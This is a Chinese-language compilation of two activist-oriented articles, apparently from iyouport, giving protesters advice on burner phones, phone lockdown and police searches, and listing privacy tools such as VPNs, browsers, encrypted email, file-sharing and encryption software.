- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》
- 是的，几乎全世界的当权者都是这么做的《数字焚书和网络维稳：149个国家/地区的互联网监视审查地图》
- 《如何跨社交媒体平台追踪目标人？警告安全意识》
- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》
- 详细指南《您在什么时候需要假名、匿名和公开在线身份？–在线创建和管理身份的思考方式》
- 《活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项》

如果您能大致了解和做到上述所有这些，就基本不会有太大问题。

即使您拍摄了不打算在社交媒体上发布或分享的照片和视频，也请记住，如果警察强行访问您的设备，这些资料仍然有可能被他们捕获。所以，保存真相的活动家需要一系列技巧以确保个人和资料的双重安全。具体做法见👆上面那套文章中的介绍。

15、随着抗议活动的继续和升级 —— 包括警察和政府当局采取的镇压手段的升级 —— 活动家们要为更广泛的数字监视形式做好准备。

这意味着抗议者将需要保持警惕，应对数字威胁和身体威胁。

我们汇总的五个列表中的知识都可以帮助您的行动安全、包括行动技巧和创造力，将安全操作纳入习惯。希望它们能切实发挥作用。

- 列表-1 防身： https://start.me/p/xbYXdR/iyp-1
- 列表-2 知己知彼： https://start.me/p/RMQrDD/iyp-2
- 列表-3 斗智： https://start.me/p/nRBzO9/iyp-3
- 列表 -4 威胁的来源： https://start.me/p/aL8RrM/iyp-4
- 列表-5 直接行动：https://start.me/p/1kod2L/iyp-direct-action5

○□

原文

AS49 买不起/买不到一次性手机怎么办？这里是您需要了解的事 - iyouport

护盾（AS）

【2020年9月18日存档】在中国，就算您只是出门和异议人士吃顿饭，也需要保持着*参加敏感政治活动*的安全意识和防御水平

任何一种给反抗者的建议都会包括这一条内容：不要携带您自己的手机去参加抗议活动。因为手机本身就是追踪器。

- 这里有一个演示可以帮您理解手机追踪是如何完成的，并且能回溯式追踪到数年前您的行动《1200万部电话，一个数据集：利维坦眼中的世界》

无论您的抗议行为有多么和平，您都有被警察逮捕或殴打的危险。无需质疑，全世界的警察都不怎么讲理，只要他们声称“办案”，就可以做一切。

警察可能会没收您的手机并进行搜索 —— 所谓的数字取证，无论是否合法，或者他们可能会尝试破坏您的手机和电子设备，尤其是当您录制了包含当局暴力或非法行为的证据照片或视频时。

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

上图中这本书在这里下载：https://www.patreon.com/posts/shou-ji-quan-he-38188672

持有证据的公民活动家需要特别小心这点。在下面看到注意事项和应对方法：

- 《公民取证技巧：如何留住真相？》

- 《当你手握真相：最基本的防护知识》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 更多内容详见 列表-3 “让它民主”

同时，手机作为记录设备在抗议活动中是很有用的，可以帮助您及时传达抗议现场的信息。在BLM中有一个抗议活动现场的直播平台，来自多个城市。 这些资料来自街上的人。这是一种很棒的自发式公民社会协作，将有助于抵制官方的抹黑宣传，甚至有可能曝光当局的渗透（目前该直播已经离线）。

拍摄警察是完全合法的，并且在您的权利之内，它是公民打击警察暴行的少数工具之一。能够与他人实时交流或找到队友也很重要，以防您被疏散或围困。

为了平衡这种矛盾 —— 人身安全和联络＋记录权的矛盾 —— 最安全的选择是将包含有关您的大量私人信息的主要手机留在家里，并携带专门准备的匿名的一次性备用手机参加抗议活动。

在下面看到各方面安全须知的详细介绍：

- 《如何在监视时代参加抗议活动》

那么，如果买不起/买不到一次性电话怎么办？Intercept 给了一些建议。

诺基亚1.3智能手机需要99美元，购买三个月的预付费服务还需要40美元。如果这对您来说太贵了，您可能还有其他选择：

如果您有老旧的手机还没扔掉，只要它仍然可以工作并且电池仍可以充电，就可以将其用作一次性备用电话，而不用购买新手机。

您只需要一张新的无关您身份的SIM卡。在准备抗议之前，请确保将手机恢复出厂设置。

如果您也没有老旧的手机，并且您决定带上自己的主要手机，请采取以下步骤以使其更安全 —— 私人数据最终落入警方手中的可能性较小：

1、禁用指纹和面部解锁功能，改为输入密码或口令来解锁手机。这样一来，解锁手机需要的时间就更长了，也大大增加了警察未经你同意就解锁手机的难度。

2、确保您的密码不容易被猜到。如果您使用的是数字密码，那么至少应该有6位数字，但越长越好。

3、设置**SIM**卡密码，这样可以防止警察从你的手机上取下SIM卡插入另一个手机，这样他们就可以接管你的电话号码。

这里是 iPhone 和 Android 的相关说明。如果您设置了SIM PIN，除了密码之外，每次重启手机时还需要输入SIM PIN。

如果您使用的是 Android，请确保手机的存储空间已加密（所有 iPhone 均默认加密）。在大多数 Android 手机上，您可以在“设置”应用中的“安全”」“加密手机” 下查找手机加密设置。

禁用所有不必要的智能手机功能，例如**Wi-Fi**、蓝牙和定位服务。您也可以在不需要使用网络时将手机保持在飞行模式。这将使您的手机泄漏的信息更少，那是那些警察可以用来跟踪您的信息。

- 《为什么您不该使用Wi-Fi》
- 《Wi-Fi是如何出卖你的？》

如何挑选一次性手机

挑选一次性手机的主要标准是成本，这意味着 iPhone 肯定要淘汰。您也许能找到旧的或翻新的 iPhone，但 Android 手机可以很好地完成这项工作，而且花费要少得多。

低配的 Android 手机经常遇到永远无法解决的安全问题，因此下一个标准是寻找支持最新安全更新的手机。

Intercept 的记者选择了诺基亚1.3，在亚马逊上以99美元的价格买到的。这款手机于2020年3月发布，配备了最新版本的 Android系统，电池续航能力不错，相机也不错。

他选择的是 Mint Mobile。以40美元的价格在亚马逊上订购了带有3个月服务的SIM卡。

不论您最终选择哪种，其步骤都是近似的。以便宜为基本标准，以满足最低需求为目标。

使用密码管理器

密码管理器是数字安全的很好选择之一。它允许您使用强大的随机密

码，而无需记忆它们。所有密码都被保存在一个加密的保险库中，你可以使用一个单一的口令来解锁它们，您需要记住的是这个口令。

一些不错的选择包括 Bitwarden、KeePassXC、LastPass 和 1Password。

设置备用手机时，您需要在密码管理器中保存以下信息：

- 预付费移动服务帐户的用户名和密码
- 一次性Google帐户的用户名和密码
- 用于解锁手机的PIN码
- signal的密码
- 与该手机有关的其他任何PIN或登录信息

设置和锁定诺基亚**1.3**或其他 **Android** 手机

观看他们的视频，以获取有关配置诺基亚1.3的完整教程，其中许多建议都适用于其他最新的 Android 手机。教程步骤包括：

- 插入预付的 Mint Mobile SIM 卡并激活手机服务
- 创建一次性 Google 帐户以与备用电话一起使用
- 安装系统更新，并调整所有 Android 设置，使其尽可能安全、并尽可能少的泄漏数据
- 安装和配置 **Signal** 应用，并在抗议期间将您需要的联系人添加到设备中，保证联系人信息不会被上传到所谓的云端

在这里看到解释《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

- 仅安装对您的联系和传播信息最有必要的社交媒体应用，其他都不要安装
- 备份您收集到的照片和视频资料，以防止警察抢走您的收集导致证据丢失，在这里看到方法《如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5）》

下图是在加利福尼亚州奥克兰举行的BLM抗议活动，使用这款一次性手机拍摄的照片效果。

关于匿名，您想需要注意什么

如果您随身携带手机 —— 任何智能手机，你的位置就没有隐私。警察能够使用被称为黄貂鱼的间谍设备（IMSI-catchers）来监控和收集

抗议活动中所有手机的数据。此外，电信和技术公司也会从手机中收集自己庞大的位置数据，这类数据是不可能匿名的。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》
- 关于追踪监视抗议者的演示《1200万部电话，一个数据集：利维坦眼中的世界》

下图是追踪动图演示，在这里看到：

使用备用手机的时候，请仅在必须开机的情况下再打开电源、并尽可能令其处于飞行模式。这是最基本应该做到的。但如果您真的想确保你的备用手机与你的身份没有任何联系，您必须做更多的工作。

1、您必须亲自使用现金购买，而不是在线购买手机和手机服务，并选择可以让您激活服务而不要求提供身份证明的运营商。

2、每当您需要使用互联网时，都需要使用**Tor**浏览器、或远离你家和工作单位的公共场所的公共Wi-Fi网络。

3、绝对不要在同一时间里同时打开您的主手机和备用手机！也不要在家里打开那个备用手机！

这些安全操作须知我们都有过详细介绍，见下面两个系列：《完美隐身》，和《变得难以被追踪》：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》
- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》

- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

以上这两套内容是关于安全防卫的综合性知识。

除了数字安全之外，在抗议活动中您还需要采取额外的措施以保持匿名，比如：穿不显眼的衣服，遮住您的脸，遮住身体上任何纹身和疤痕，制定路线计划以避开车牌阅读器、不要使用可以追踪你的行动的公交车卡。

在这里看到更多具体做法：《如何在监视时代参加抗议活动如何在监视时代参加抗议活动》。

在参加抗议之前

每次您准备去参加抗议活动时，都要清楚地知道自己要带什么东西。

除了您的一次性备用手机之外，把 *所有* 电子产品都留在家里。

*不要*带笔记本电脑、智能手表、或其他任何东西。

如果您打算用您的一次性手机带去参加不同的抗议活动，在您出发前往另一场抗议活动之前，一定要把一次性手机里的照片和视频复制到另一个设备上，然后删除手机中所有照片和视频，并删除之前抗议活动中的任何 **Signal** 对话。

结伴组团参加抗议活动是最好的选择。您应该把所有您认识的将参加抗议活动的人的电话号码放在您的一次性手机里，以备需要时可以联系他们。

如果您的朋友也带着自己的一次性手机，把他们的一次性手机号码放在您的通讯录里 —— 切记使用代号来标记这些号码！不要使用真名。

您也应该确保知道万一自己被逮捕了该找谁。

抗议组织者应该向与会者提供一个法律援助电话。您应该把这个电话

号码用永久性记号笔写在你的皮肤上！如果你被逮捕，警察会没收你的手机，所以不要仅仅记录在手机上。

你会想在监狱里打这个号码的，以便获得法律支持。

冠状病毒的流行还在进行中。一定要带上口罩和免洗洗手液，并在可以的情况下尝试社交距离，以避免传播病毒。此外，带一瓶水也是个好主意。

在抗议期间

记住您的权利，不管警察怎么说，在公共场合拍摄他们是完全合法的。

拍摄警察是公民强迫他们为其行为负责的极少数有用工具之一。

在社交媒体上分享抗议活动的照片和视频是好事，但是，您也应该注意其他抗议者的意愿。虽然法律上允许你在公共集会中拍摄任何东西，但是，在拍摄人们的脸部照片之前，应先征得同意，这也是一种尊重。

您可能会因为担心被警察抢走手机而丢失了所有拍摄的抗议现场照片和视频，倾向于选择将这些文件上传到谷歌相册，以便万一警察强行删除了手机中的记录，记录也不会丢失。但是，不要忘了，谷歌相册是不加密的，如果警察和政府当局提出要求，谷歌就会出卖你。

如果你被捕

即使你是完全和平的，没有违反任何法律，警察也可能在抗议活动中逮捕你。如果您察觉到自己即将被逮捕，那么您应该迅速这样做：关闭你的手机电源。这样警察就很难进入你的手机了。

除非有搜查令，否则警察无权在未经你同意的情况下搜查你的手机。如果警察要求你解锁手机，或者抢走你的手机要求你解锁，请告诉他们，“我不同意被搜查手机”、“我拒绝被搜查手机。我需要和律师谈谈” —— 就算您还没有律师，也没关系，但是你必须明确说出这句话。

警察可能会没收你的手机，无论如何都会非法搜查你的手机，但是，此刻您最好明确表示您不同意，这样才能在今后有可能的起诉中避免警察反咬你。

警察也有可能试图偷走或砸烂你的手机，特别是如果他们注意到你拍摄了他们的暴力行为。如果发生任何这类情况，至少您能保证那只是您的廉价一次性手机，上面有最少的数据，而不是一个昂贵的手机，里面充满了关于你的私密生活和政治行动的敏感信息。〇

原文

AS5 安全手册：这里是你需要的几乎所有安全上网工具 - iyouport

护盾（AS）

【2018年6月4日】保护隐私安全的工具列表

最近出现的一些新闻再次推高了对 telegram 的讨论。我们不喜欢把地缘政治拉入技术领域的任何意见，但对于 telegram 不得不提醒一些细节问题。

任何使用手机注册的东西都会暴露广泛的元数据，不仅含有通过 Apple 和 Google 的消息传递服务的所有通知流，还有来自这些服务器的 IP 流量以及通讯应用服务器上的数据。这是 telegram 的诸多软肋之一。

当然这不是 telegram 所特有的，其他一些加密应用程序也是如此。政府的监视计划很明显会盯住这些弱点。即使政府没有利用这点，其产生的元数据仍然揭示了很多关于个人及其行为的信息，这些信息可以随时被任何目的所利用。

telegram 将用户的联系人数据库上载到其服务器，由此便能够为所有用户建立一个巨大的社交网络图，以及他们如何相互认识的，如果你想运行的是一个秘密网络（不希望无关的人了解到这一群体的存在以及人们互相之间的关系）该应用的特点显然是一个令人担忧的状况。国安局一直拼命挖掘的就是这类信息，他们知道它有多高效。

简单说就是，将个人电话号码与服务链接的结果就好像在一边逃跑一边撒面包屑那样，追踪者会跟着面包屑的痕迹找到你本人。就算你使用的不是实名手机号也不能保证什么，对于能够访问电信系统的攻击者来说（例如*SS7*注入或全国电话运营商），劫持帐户的验证码非常简单。这种攻击方法最初是伊朗使用的，后来俄罗斯也被发现使用了同样的方法劫持帐户。显然，至少已经有一些国家正在使用这种技术来劫持账户。

telegram 增加了一个额外的安全功能来解决这种攻击——一个密码。如

果为帐户设置了密码，在新设备上访问账户仅仅劫持手机验证码是不够的。

不过问题在于，所有非端到端加密聊天都会自动备份到 telegram 服务器—— 该应用默认没有端对端加密，需要用户手动设置。当用户从另一台设备访问他们的帐户时，可以使用整个聊天历史记录。这是一个安全噩梦。存储敏感数据总是非常危险的。

telegram 的优势在于其频道功能，对于宣传的目的来说的确很高效，但是它的安全保障并没有人们想象中那么高不可攀。俄罗斯用户的抵抗运动所反对的是封锁和审查本身，并不是说应用的安全标准不够就可以对当局的封锁行为视而不见。当然这是最简单的常识无需啰嗦。

telegram 之所以被夸大，恐怕和恐怖组织的使用有关，不了解技术的用户会借此认为它是可靠的，毕竟恐怖组织比其他任何人都承受着更多来自国家民族的追捕。我们不知道 ISIS 为什么会信任该应用，但我们会倾向于推荐 Cryptocat 或 qTox 等，对于普通用户、异议人士和调查记者来说，是足够安全的。

Cryptocat

Cryptocat 最开始是一个基于 Web 的网页即时通讯工具，其实就是一个浏览器扩展应用。2016年 Cryptocat 的开发者将其彻底改写成了桌面软件。并且支持 Windows、 Linux 和 Mac.

Cryptocat 是一款端对端即时通讯工具，Snowden 在躲避美国政府追捕过程中与记者联系使用就的就是 Cryptocat，这也是 Cryptocat 一举成名的原因之一。

其实早在 2014 年，EFF 就曾进行过一个“安全通訊評分表”项目，对目前主流的聊天软件就聊天加密、信息获取等七个方面做出评分，Cryptocat 获得了最高分。可见 Cryptocat 并非浪得虚名，其端到端的加密通讯技术，可以最大程度保证用户之间通讯信息的隐密性和安全性。

Cryptocat 的特点包括：多平台开源软件. 支持Windows、Linux和MAC；支持文字、图片、视频消息、文件分享；端对端加密，服务器不保存任何聊天信息；多设备支持，离线也能接收消息。

使用很简单，安装好客户端后在官网注册账号，不需要手机号。界面很简洁，没有一丝多余的设计。Cryptocat 支持发送文字、图片、音

频、视频。不是视频聊天哦，而是通过摄像头录制一段小视频。

Cryptocat 也可以发送文件，不过速度不太好，当然这可能是因为 Cryptocat 没有中心服务器离线存储文件，所以分享文件速度较慢。

另外，Cryptocat 没有清理存聊天记录的功能，关闭聊天窗口将自动清除聊天记录，下次再打开聊天窗口，如果对方离线，会显示对方最近一次上线时间。

Cryptocat 不支持群聊功能，在其最开始的 Web 应用中是可以群聊的。群聊的安全性比较低，人越多越容易鱼龙混杂，当然最理想的还是把群聊当作可选性更好些，用户掌握主动权。

qTox

qTox 是一款基于 tox 制作的端对端加密即时通讯工具。tox 最早是在2013年6月23日由用户 irungentoo 发布并托管于 GitHub 上的，在此后的几年间 TOX 迅速发展，并衍生出许多基于 tox 制作的客户端，包括 qTox、µTox等等。

tox 最初的想法就是创建一个即时通讯工具，无需使用中央服务器即可运行，并且点对点，端到端加密，保证用户通信的保密性和安全性。tox 客户端较多，基本涵盖了所有平台。

随着政府监控项目的兴起，qTox 提供了一个易于使用的软件让用户能够在与亲人和朋友联系的时候防止他人的偷窥。当其它著名服务要求付费使用的时候，qTox 完全免费，并且没有广告。

qTox 特点：方便，支持文本、音频、视频通话；安全，点对点端对端加密，没有中心服务器；简单，qTox 使用简单，不需要任何专业知识，你只要专注于聊天；自由，qTox 是完全免费的。除了免费使用，还能自由修改它。

首先 qTox 是点对点通信，没有中心服务器，这就意味着使用 **qTox** 无需注册账号。下载客户端后直接运行，自动生成账号（76 位的十六进制字符），其实就是常见的一机一码。添加好友也很简单，复制对方的 76 位 ID 发送请求即可，添加成功后就可以愉快的进行聊天了。

qTox 支持语音和视频聊天，通话质量也不错，这点在体验上好过 Cryptocat。而且 qTox 还支持分组，而且支持群聊。

注意，**qTox** 的群聊是一次性的，也就是说群聊成员下线重新登录后群聊就不存在了，你得重新添加群聊。我本人很赞同这种设计，有可能一些朋友觉得不方便，但要知道，一旦有人能在此过程中强迫群聊中其中一个人交出密码，所泄露的就是一群人。

为什么建议不要使用以美国为基地的网络服务？

很多隐私专家一直强调，避免采用位于美国的网络服务。这是由于美国的监控项目使用了国家安全信件 (NSLs) 并伴随着不对外开放的法庭程序，其禁止收到 NSLs 的人谈论这份官方请求。这让政府可以秘密地强迫企业同意交出客户资料，从而把私人企业的网络服务转化成一种大规模监控的工具。（上面链接是 EFF 对此的介绍）

本文不做详细翻译了，普通用户了解大概意思就可以了。这件事非常重要，多年来不断有隐私专家对此强调，其中一个最典型的例子就是 **Lavabit** ，由 Ladar Levison 所创办。美国联邦调查局 FBI 发现 Snowden 使用其服务后，向 Lavabit 要求交出他的使用记录。当然 Lavabit 没有保留系统日志记录而邮件内容是经过加密后才储存，FBI 发出了（不公开法庭）的传票要取得 Lavabit 的 SSL 服务密钥。有了 SSL 密钥就可让他们取用 Lavabit 所有客户的通讯记录（包含元数据和未加密的邮件内容）而不只是 Snowden 的资料。

最后，Levison 交出了 SSL 密钥并在同时关闭了服务器。美国政府当时威胁要逮捕 Levison，认为他关闭 Lavabit 服务是“违反了法院命令”。

Ladar Levison 能做到这点，因为公司属于他一个人。如果它是一个有股东的公共公司，想象一下它的主要责任是为股东赚钱的疯狂的意识形态……这就是为什么隐私保护者一直警告小心硅谷，就算硅谷巨头有正义感，他们也做不到为了正义舍弃公司。

不仅是美国，还包括与美国共享情报的组织，从五眼到九眼到十四眼。

UKUSA 协议 是英国、美国、澳洲、加拿大与纽西兰五国之间的合作协议要共同来收集、分析和分享情报资讯。这个协议的成员就是五眼联盟， 聚焦在取得和分析来自全世界各地的情报。而这五眼国家同意彼此之间不如敌对国那样地互相监控, 由 Snowden 所揭露的资讯显示，有些五眼联盟成员会监控对方国家的人民并相互分享情报以规避国内法令约束不准监控自己国家的公民规定。五眼联盟也与其它不同的国家集团合作以分享情资 (其组成了九眼集团和十四眼集团等), 总

之五眼国家和其它国家成员会对彼此互相进行情报监控。

下面介绍一些安全工具，每个人都用得到。

相对安全的 **VPN**：

推荐以下这些 VPN 服务，它们都不在美国境内、都使用加密，并且接受 Bitcoin 付款, 支持 OpenVPN 而且采用不记录用户活动的政策：

AirVPN，位于意大利，162 台服务器；AzireVPN，瑞典，5台服务器；Cryptostorm，冰岛，18台服务器；EarthVPN，北塞浦路斯，432 台服务器；ExpressVPN，维京群岛，145台服务器；FrootVPN，瑞典，27台服务器；hide.me，马来西亚，88台服务器；IVPN.net，直布罗陀，21台服务器；Mullvad.net，瑞典，168 台服务器；NordVPN.com，巴拿马，475台服务器；OVPN.com，瑞典，39台服务器；Perfect-Privacy.com，巴拿马，41台服务器；ProtonVPN.com，瑞士，112台服务器；Proxy.sh，塞舌尔，300台服务器，Trust.Zone，塞舌尔，48台服务器；VPNTunnel.com，塞舌尔，80台服务器。

挑选 **VPN** 提供商的标准：在美国境外或其它五眼联盟以外的国家营运；避免挑选以英国和美国为基地的服务商；支持 OpenVPN 软件；接受比特币、现金、借记卡或现金卡等付款方式；注册帐号时不会要求提供个人信息，只需填用户名称、密码与电子邮件即可。

另外一个标准是 warrant canary，这是有些组织公布一份文件来声明他们在一段特定期间内，并未接到任何秘密的官方命令。如果这份文件未能及时定期更新，那么用户可以假设该组织可能收到了不可公开的秘密传票，此时应该停止使用他们提供的网络服务。

你可以在这里看到拥有 warrant canary 的公司和组织；在这里查看 Bruce Sneier 对权证的批评以及针对 warrant 的法律案例。

⚠如果您在中国请注意：中国已经封锁了 OpenVPN 协议，技术角度上安全的VPN服务有可能在中国无法使用。

在这里查看《如何验证您的 VPN 连接是否安全？》

相对安全的浏览器：

Mozilla Firefox：Firefox 是一个快速、可靠、开源且尊重用户隐私的上网工具。别忘了调整设置： WebRTC 以及 about:config 和安装隐

私保护附加组件。你可以在这里下载。

Brave：比较新的开源浏览器”Brave” 会自动地封锁广告与追踪器，其效能比你目前所用的浏览器更为快速安全。Brave 为基于 Chromium 所开发的软件。在这里下载。

Tor 浏览器：如果你需要额外的匿名层保护，则 Tor 浏览器就是最佳的选项。它是利用火狐浏览器作进一步的调配，其事先预设安装好了一些隐私保护的附加组件、加密与高级的代理器。在这里下载。

你正在使用的浏览器可能并不安全。当访问一个网站时，浏览器会自行地送出一些本身的设定资讯，例如有哪些字体可用，浏览器类型、安装的附加组件等。如果这些组合出来的资讯非常独特，很容易让其它人不需要 cookies 小程式就可以辨识与追踪你。EFF 创建过一个 Panopticlick 工具可以用来测试浏览器的独特程度—— 浏览器指纹。

现代的网页浏览器并没有依照确保个人在互联网的隐私安全这一标准。如果很担心浏览器留下的独特特征指纹辨识，最实际的作法是使用免費的外挂软件像是 Privacy Badger、 uBlock Origin 与 Disconnect。 它们不只提供你网络自由，也保护你上网的隐私保护。建议进一步了解使用这些工具，会比试着操弄浏览器指纹更为容易和方便。

Privacy Badger 可用来阻止广告商或其它第三方追踪器偷偷地追踪用户浏览哪些网站网页。当你浏览网站时 Privacy Badger 透过检查外部网站资源的请求了解追踪器状况。当用户浏览网站时，Privacy Badger 会检查外部的网站请求。请注意，**Google Analytics** 被 **Privacy Badger** 视为首先相关者（**first-party**），这表示如果你未用其它封锁器（例如 **uBlock Origin**），则 **Google Analytics** 就不会遭到封锁。

uBlock Origin 是一个有效的过滤器，容易在内存上执行，也比一般市面上的过滤器更可负载入上千个过滤器当中。这套软件并没有商业化的打算而且是完全开源。不只在火狐，也可以用在其它的浏览器如 Safari、Opera、Chromium 等等。不像 AdBlock Plus，uBlock 并没有所谓「可接受的广告」。

Disconnect 可以自动移除储存在已开启分页中不需再用到的 cookies 以及其他用来监视用户的资讯都会被清除。

取消 **WebRTC**

WebRTC 是一种新的通讯协议，其依靠 **JavaScript** 程序，可能會泄露 **VPN** 用户真实的 **IP** 地址资讯。有些软件如 **NoScript** 可以阻止这个漏洞，但还是建议直接关闭这个协议。

在火狐浏览器下取消 WebRTC：在 “about:config” 内，将 “media.peerconnection.enabled” 设为 “false”。

在浏览器的网址列輸入 “about:config” 并点击 enter 键；点击”I'll be careful, I promise!”按钮；搜索”media.peerconnection.enabled”；双击这条资讯, “Value”栏位现在应该变成了”false”；完成。再作一次 WebRTC 漏洞测试

如果要确认每一个与 WebRTC 相关设置真的关闭了，可以再进行以下的设置改动：media.peerconnection.turn.disable = true

media.peerconnection.use_document_iceservers = false

media.peerconnection.video.enabled = false

media.peerconnection.identity.timeout = 1

解决 Google Chrome 底下的 WebRTC 漏洞：**Chrome** 浏览器下无法完全取消 **WebRTC**，但可以透过扩展变更其路由设定（与防止洩漏）。有两种开源的方案为：WebRTC Leak Prevent（需依情况来调整设定选项）和 uBlock Origin （请选 “Prevent WebRTC from leaking local IP addresses”）。

苹果 iOS 操作系统下的 Chrome、Internet Explorer 与 Safari 目前尚未采用 WebRTC。但依旧推荐火狐浏览器。

有隐私意识的电子邮件推荐

选择标准是：在美国境外营运，并且支持 SMTP TLS.

Protonmail，瑞士，500MB，接受比特币，有自定网址；Disroot.org, 荷兰，4GB，接受比特币；Tuanota，德国，1GB；自定网址；Mailfence，比利时，500 MB，接受比特币，有自定网址；mailbox.org，德国，2GB，接受比特币，有自定网址；runbox，挪威，1 GB；startmail，荷兰，10 GB，接受比特币，有自定网址；KolabNow, 瑞士，2 GB，接受比特币。

另外，Mozilla Thunderbird 是一个免费、开源、跨平台的电邮、新闻与聊天软件，由 Mozilla 基金会开发维护。 Thunderbird 是电子邮件、新闻群组、新闻推送订阅与聊天 (支持 XMPP, IRC, Twitter) 的客户端软件；

Claws Mail 是一个免费开源，使用 GTK 桌面环境为基础的电邮与新闻软件。它提供了简单的设定和丰富的功能，也包括 Windows 下的加密套件包。

I2P-Bote 是一个完全去中心化的分布式电邮系统，不同的身份识别也不会曝露邮件表头资讯。到 2015 年为止，它仍处在测试版本，可以透过网页界面应用程序或 IMAP 与 SMTP 来取用。所有 bote-mails 电邮是采端对端透明加密或是可以选择利用传送者的私钥进行数字签名。操作系统：Windows, Mac, Linux, Android, F-Droid.

Bitmessage 是一种点对点的通讯协议，被用来传送加密讯息给单一或多名订阅者。它是去中心化与无信任，指的是用户不必要信任任何根凭证授权的实体。它采用强度高的认证授权，让送件者的讯息无法被欺骗，目的在于能将非讯息内容的资料予以隐藏。操作系统：Windows, Mac, Linux.

Retroshare 可建立朋友间的加密通讯连线，没有人可以监控你。Retroshare 是一个完全分散化的设计，这代表着它没有任何中心控制的服务器。它完全开源和免费。没有任何成本、广告或是服务协议。操作系统：Windows, Mac, Linux。

重视用户隐私的搜索引擎

如果你目前仍在使用 Google、 Bing 或 Yahoo 等搜寻引擎，那么必须说，它们都非常不安全。你应该换成以下这些搜索引擎：

searx 开源搜索引擎，综合来自其它搜索引擎的查询结果但不会储存用户的资讯，不留活动记录、无广告也不会追踪。

StartPage 是 Google 搜索引擎的查询结果，但有完全的隐私保护措施。StartPage 是一家欧洲公司，自 2006 年起就很重视隐私。

DuckDuckGo 不会追踪用户的搜索引擎。 Some of DuckDuckGo 部份的代码是放在 GitHub 的免费软件，但其核心是封闭。公司在美国，但跟华盛顿无关，它是个特例，就像 EFF 那样。

安全档案分享

OnionShare 是一套开源工具，可以安全而匿名地分享档案，没有大小限制。它透过网页服务器来启动，让自身变成 Tor 洋□服务接取的一部份，产生一个无法猜测的网址以用來接取和下载档案。其并不需要在互联网上设定一个服务器或是使用第三方的档案分享服务。用戶可以透过自己的电脑來放置这些档案，再使用 Tor 以让档案可以透过互联网暂时被存取。操作系统： Windows、Mac、Linux.

Magic Wormhole 让电脑之间安全地收取档案资料。这个套件提供一个名为虫洞 wormhole 的资料库，其可以在电脑之间取用不限大小的档案与目录资料夹。其电脑间两个终端利用一致虫洞代码 “wormhole codes” 来识别，一般而言，传送端的电脑会产生与显示这个代码，而接收端电脑则必须输入此代码以进行连接。 此代码很简短且人类可识读，利用发音可区别的文字行。接收端的电脑则在代码字上提供完成分页，因此通常要输入一些字元。虫洞代码仅能使用一次，故不必强记。跨平台。

安全的档案同步软件

SparkleShare 在自己的电脑上建立一个特别的资料夹，用户可把远端主机的资料夹（或专案）存放到这个资料夹底下。这些专案会保持自动与主机以及其它的加入的资料夹同群一起更新档案，新增、移除或编辑等最新状态。操作系统：Windows, Mac, Linux.

Syncany 可让用户备份与分享工作站上的某些资料夹，它是一个开源的软件且提供资料加密功能，对储存类型与供给上提供了很大的弹性。档案在上传到主机前会先经过加密手续。操作系统： Windows, Mac, Linux.

Syncthing 用来替换商用同步软件与云端服务，它开放、值得信任且去中心化。你的资料就是你的资料，当事人有权选择它要存放在哪里，是否要与其它第三者分享以及资料如何在网络上被传递。操作系统：Windows, Mac, Linux, Android, BSD, Solaris.

档案加密系统

如果你尚未对使用中的硬盘、电子邮件或档案库予以加密，你应该赶快从这挑选一个加密软件。

VeraCrypt—硬盘加密 可取得源代码的免费软件工具，用来进行快速加密。它可以为一个档案建立一个虚拟的加密硬盘、加密分区或是在开机前授权设置整个设备的硬盘都予以加密。 VeraCrypt 源自目前已

无进展的 TrueCrypt 专案。它最初的发布是 2013 年 6 月 23 日。据开发者表示，原本 TrueCrypt 源代码在审查后发现的问题已经解决，大幅地改善了安全性。操作系统：Windows, Mac, Linux.

GNU Privacy Guard—电邮加密 GnuPG 是采用 GPL 授权，替代 PGP 密码学软件套件。 GnuPG 可兼容 RFC 4880, 它是一个目前 IETF OpenPGP 标准轨道规格。目前 PGP (以及Veridis' Filecrypt)的版本可以和 GnuPG 以及其它 OpenPGP 兼容系统交互操作。 GnuPG 是自由软件基金会GNU 软件专案中的一部份，曾接受德国政府的经费赞助。 操作系统：Windows, Mac, Linux, Android, BSD.

PeaZip—档案库加密 PeaZip 是由 Giorgio Tani 所开发的一套免费开源的档案管理与档案库软件。它支援原生的 PEA 档案库格式(特色为压缩、多组磁区分割、弹性化节授权加密和一致的检验格式)以及其它的主流格式。其特别关注在开放格式，目前有支持 181 档案延伸格式。操作系统： Windows, Linux, BSD.

去中心的社交网络

如果你还在使用如 Facebook, Twitter 或 Google 的社交网站，这些都是集中化的东西，你无法摆脱审查和隐私侵犯。建议从以下挑选替代品。

diaspora* 基于三大核心哲学：去中心化、自由和隐私。它希望能引起大家关切由中心所控制社交网站下的隐私问题，所以可以让用户自行架设服务器（或称"pod"）来控制内容，而各个服务器可以再自行互动分享动态更新、照片或其它的资料。

Friendica 强调在隐私控制上的仔细设置，它是一个容易安装在服务器上的软件，以期待尽可能出现更多其它的社交网络联邦。Friendica 用户可以从 Facebook, Twitter, Diaspora, GNU social，App.net, Pump.io 等等多项社交网络服务来整合其联系人的名单到自己的社交时间流。

